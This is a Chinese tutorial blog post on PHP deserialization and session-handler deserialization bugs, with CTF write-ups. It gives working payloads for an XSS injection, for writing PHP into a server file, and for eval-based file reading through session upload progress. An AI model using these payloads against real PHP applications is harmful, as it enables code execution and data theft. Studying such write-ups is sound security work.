php反序列化漏洞

前言

之前刚接触到反序列化概念的时候,写过一篇。现在回头看的时候,发现写的太low了。所以再重写一篇。如果以后不满意我就再重写。

序列化

认识反序列化之前,先说一下序列化,通俗地讲就是把一个对象变成可以传输的字符串。
序列化代码

<?php

class Demo{
    public $name = "author";
    protected $sex = "sex";
    private $age = 18;
}


$example = new Demo();
echo serialize($example);
?>

结果为

O:4:"Demo":3:{s:4:"name";s:6:"author";s:6:"*sex";s:3:"sex";s:9:"Demoage";i:18;}

serialize() 函数产生一个可存储的字符串,经常用于序列化操作。

O 表示Object对象,4代表4个字符,即Demo
3 表示三个变量,即name、sex、age
s 表示字符串string,i 表示整型int
4、6、3 、9代表变量名的字符长度

protected 属性被序列化的时候属性值会变成%00*%00属性名
即s:6:"*sex",两个%00也就是空白符,一个%00长度为一,所以序列化后该属性长度为6
private 属性被序列化的时候属性值会变成%00类名%00属性名
即s:9:"Demoage",7个字符长度加上两个%00为9

反序列化

反序列化就是把那串可以传输的字符串再变回对象。
使用unserialize()函数对字符串进行反序列化为对象。

<?php

class Demo{
    public $name = "author";
    public $sex = "sex";
    public $age = 18;
}


$example = new Demo();
$example->name = "cseroad";
$example->sex = "man";
$example->age = 18;
$val = serialize($example);
$newexample = unserialize($val);
var_dump($newexample);
?>

输出结果为

object(Demo)#2 (3) { ["name"]=> string(7) "cseroad" ["sex"]=> string(3) "man" ["age"]=> int(18) } 

魔术方法

php 有很多魔术方法,魔术函数以__开头,在某些条件下自动触发。

__construct() 构造函数,一个对象创建时被调用
__destruct() 析构函数,当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用

__sleep() 先检测是否存在该方法,如果存在先调用再执行序列化操作
__wakeup() 先检测是否存在该方法,如果存在先调用再执行反序列化操作

以__wakeup()为例

<?php

class Demo{
    public $name = "author";
    public $sex = "sex";
    public $age = 18;
    public function __wakeup(){
        $this->name = "vxeroad";
    }
}


$example = new Demo();
$example->name = "cseroad";
$example->sex = "man";
$example->age = 18;
$val = serialize($example);
$newexample = unserialize($val);
var_dump($newexample);
?>

结果输出

object(Demo)#2 (3) { ["name"]=> string(7) "vxeroad" ["sex"]=> string(3) "man" ["age"]=> int(18) } 

顺便说一句
当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

漏洞产生

如果服务器能够接收序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法,就很容易造成严重的漏洞。

比如这个demo.php

<?php
class A{
    var $name = "demo";
    function __destruct(){
        echo $this->name;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
//var_dump($a_unser);
?>

payload为

test=O:1:"A":1:{s:4:"name";s:25:"<script>alert(1)</script>";}

test参数没有经过任何处理,只需要将序列化的字符串设置name,就可以覆盖name属性。
设置字符串为XSS代码,反序列化后即可触发。

image.png

再比如这个

<?php
class A{
    var $name = "demo";
    function __destruct(){
        $fp=fopen(dirname(__FILE__)."/save.php","w");
        fputs($fp,$this->name);
        fclose($fp);
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

payload 为

test=O:1:"A":1:{s:4:"name";s:18:"<?php phpinfo();?>";}

即可将phpinfo写进save.php文件。

image.png

CTF实例

了解了反序列化的漏洞原理,我们看道CTF题目。
极客大挑战 2019-web 题目
index.php

<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

class.php

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

看到index.php 接收select参数,传入序列化的字符串。进行反序列化操作。
看到class.php文件使用了三个魔术方法。__construct 构造函数、__wakeup 反序列化时先调用、__destruct对象销毁时调用。看到username必须为admin时,才可以获取flag。
这里的变量username、password 均是private 属性。应是s:14:"Nameusername",设置username为admin。
payload为

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";}

接着填写password,"Namepassword";i:100,注意是int类型
payload为

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

执行后


image.png

既没有获取到username,也没有password。
是因为private属性。之前我们说过private被序列化的时候属性值会变成%00类名%00属性名。只不过是不可见字符。
所以我们payload自然也需要加上%00字符。
payload为

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
image.png

程序走了else分支,因为反序列化操作时调用了__wakeup,username被赋值为了guest,不是admin。那么有什么办法跳过__wakeup吗?当然就是上面说过的:当序列化字符串表示对象属性个数的值大于真实个数的属性时可跳过。
所以最终payload为

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
image.png

这道题目的思路就是跳过__wakeup()函数。

Session 反序列化

什么是 Sesssion ?

Session 被称为“会话控制”。主要是指客户端浏览器与服务端数据交换的对话,从浏览器打开到关闭,一个最简单的会话周期
当开始一个Session时,php会尝试从请求中查找会话 ID (通常通过会话 cookie),如果发现请求的Cookie、Get、Post中不存在session id,php就会自动调用php_session_create_id函数创建一个新的会话,并且在response中通过set-cookie头部发送给客户端保存,例如登录网页时不存在session id,于是就使用了set-cookie头。

php.ini 配置

session.save_path=""      设置session的存储位置
session.save_handler=""   设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start        指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler 定义用来序列化/反序列化的处理器名字,默认使用php  
session.upload_progress.enabled 启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup 读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

phpstudy的phpinfo 配置

session.save_path = "C:\phpStudy\tmp\tmp"      所有session文件存储在tmp目录下
session.save_handler = files       表明session是以文件的方式来进行存储的
session.auto_start = off           表明默认不启动session
session.serialize_handler = php    表明session的默认(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on 表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup on 表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)

session的存储机制

php session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储。即在C:\phpStudy\tmp\tmp 目录下。
session.serialize_handler 定义的引擎有三种

处理器名称------存储格式
php     ------   键名 + 竖线 + 经过serialize()函数序列化处理的值 
php_binary ------ 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化后的值
php_serialize(php>5.5.4)  ------   经过serialize()函数序列化处理的数组

下面我们通过简单的代码看一下
php 处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

赋值为cseroad


image.png

session目录存储为

session|s:7:"cseroad";

session键名+|+序列化值
php_binary处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

session目录存储为

image.png

session 字符长度7对应的ASCII码+键名session+序列化值
php_serialize 处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

session 目录存储为

a:1:{s:7:"session";s:7:"cseroad";}

$_SESSION变量序列化后的值

Session 的反序列化漏洞

漏洞产生就是不同的处理器混合使用。在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时, | 会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
比如session.php

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

hello.php

<?php   
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class A{
    public $name = "cseroad";
    public $age;
    function __wakeup(){
        echo "hello ".$this->name;
    }
}
$str = new A();
echo serialize($str);

?>

在首次访问hello.php时,输出

image.png
O:1:"A":2:{s:4:"name";s:7:"cseroad";s:3:"age";N;}

此时session目录为空值
如果此时访问session.php,并赋值session为 | O:1:"A":2:{s:4:"name";s:7:"cseroad";s:3:"age";N;}

image.png

再次查看session 目录。这里的|就是分隔符。

image.png

有了该session值,再次访问hello.php文件时,从session值里面取出name值。即可输出hello cseroad

image.png

CTF 实例

题目:http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

phpinfo查看session.serialize_handler值,存在session 反序列化

image.png

如何控制session值呢?
当上传文件时,同时POST文件与session.upload_progress.name同名变量时,当php检测到这种POST请求时,它会在$_SESSION中添加一组数据。那就可以通过Session Upload Progress来设置session。

image.png

编写上传HTML

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

那么上传的filename写什么呢?和之前的思路类似,填写分隔符加序列化的字符串。
那字符串又写什么呢?
编写脚本,设置处理器为php_serialize

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='payload';
}
$obj = new OowoO();
echo serialize($obj);
?>

设置payload为

print_r(scandir(dirname(__FILE__)));
#scandir 函数列出目录中的文件和目录
#dirname 函数返回路径中的目录部分

得到

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

为防转义,在每个双引号前加上\

O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

这就是filename值。
注意添加|

image.png

可以看到存在flag文件。
接着使用file_get_contents函数读取该路径下flag文件。当前目录路径phpinfo可看到。
payload 修改为

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

获取序列化字符,并添加反斜杠

O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}

读取flag

image.png

这道题目的思路就是自己编写php_serialize 处理器,填写读取读取文件的payload。并输出序列化后的字符串,再利用文件上传通过filename设置session,读取flag。

总结

有些难懂,弯弯绕绕需要多看,多理解。

参考资料

最通俗易懂的PHP反序列化原理分析
PHP反序列化漏洞入门
原理+实践掌握(PHP反序列化和Session反序列化
一文让PHP反序列化从入门到进阶

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 157,198评论 4 359
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,663评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 106,985评论 0 237
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,673评论 0 202
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 51,994评论 3 285
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,399评论 1 211
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,717评论 2 310
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,407评论 0 194
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,112评论 1 239
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,371评论 2 241
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,891评论 1 256
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,255评论 2 250
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,881评论 3 233
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,010评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,764评论 0 192
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,412评论 2 269
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,299评论 2 260